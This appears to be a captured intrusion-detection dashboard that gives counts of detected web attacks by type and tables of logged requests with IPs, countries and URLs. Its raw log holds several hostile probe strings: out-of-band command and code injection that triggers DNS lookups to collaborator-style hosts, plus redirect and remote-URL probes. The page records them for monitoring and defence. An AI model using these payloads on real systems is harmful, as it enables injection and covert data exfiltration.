idsthreat
| Threat Count | |
|---|---|
| Total Logs | 4228982 |
| Anomaly | 454720 |
| Normal | 2808897 |
| CSRF | 1264 |
| LDAP | 103598 |
| OSCommand | 18558 |
| PathTraversal | 153166 |
| SQL | 629095 |
| SSI | 2 |
| XPath | 445 |
| XSS | 59237 |
Latest log
| IP Address | Country | Timestamp | Request | Url | Response Code | Type |
|---|---|---|---|---|---|---|
| 40.77.167.56 | US | 24/Jan/2021:05:28:22 | GET | /?destination=/user/16%3Fpage%3D5&_exception_s | 200 | sql |
| 40.77.167.55 | US | 24/Jan/2021:05:07:06 | GET | /?destination=/user/53%3Fpage%3D2&_exception_s | 200 | sql |
| 40.77.167.55 | US | 24/Jan/2021:05:03:02 | GET | /news | 200 | anomaly |
| 40.77.167.58 | US | 24/Jan/2021:04:34:40 | GET | /?_exception_statuscode=403&destination=/node/ | 200 | anomaly |
| 93.158.90.37 | SE | 24/Jan/2021:04:31:18 | GET | / | 200 | anomaly |
| 40.77.167.57 | US | 24/Jan/2021:04:30:00 | GET | /?_exception_statuscode=403&destination=/user/ | 200 | sql |
Pages
Raw log
| IP Address | Country | Timestamp | Request | Response Code | Url |
|---|---|---|---|---|---|
| 14.102.17.130 | IN | 20/Feb/2021:22:19:50 | GET | 200 | /index.php/thesis?http://nydqzhnlp1lnuj2qvqhf3oxhxfiz2fwo73nomnnvafh.r87.me/p/ |
| 14.102.17.130 | IN | 20/Feb/2021:22:19:17 | GET | 200 | /index.php/technical_report?gethostbyname(trim(%27nydqzhnlp1soieh0neigowb5eho5jbpjr4pwp3no%27.%27tso.r87.me%27))%3b |
| 27.97.36.238 | IN | 20/Feb/2021:22:16:12 | GET | 200 | /Training?%24%28nslookup%24IFS%249a9.8dmi996wj2aemfydgirr8hroxf36rv.burpcollaborator.net%29=1 |
| 27.97.36.238 | IN | 20/Feb/2021:22:12:34 | GET | 200 | /books?redirectAction:http://www.example.com/%23 |
| 207.46.13.77 | US | 20/Feb/2021:22:12:13 | GET | 200 | /sites/default/files/js/js_cu7EJFnugrwsJb0S5GmNiSpfaXn2Ocg78T3wldnWUMs.js |
Login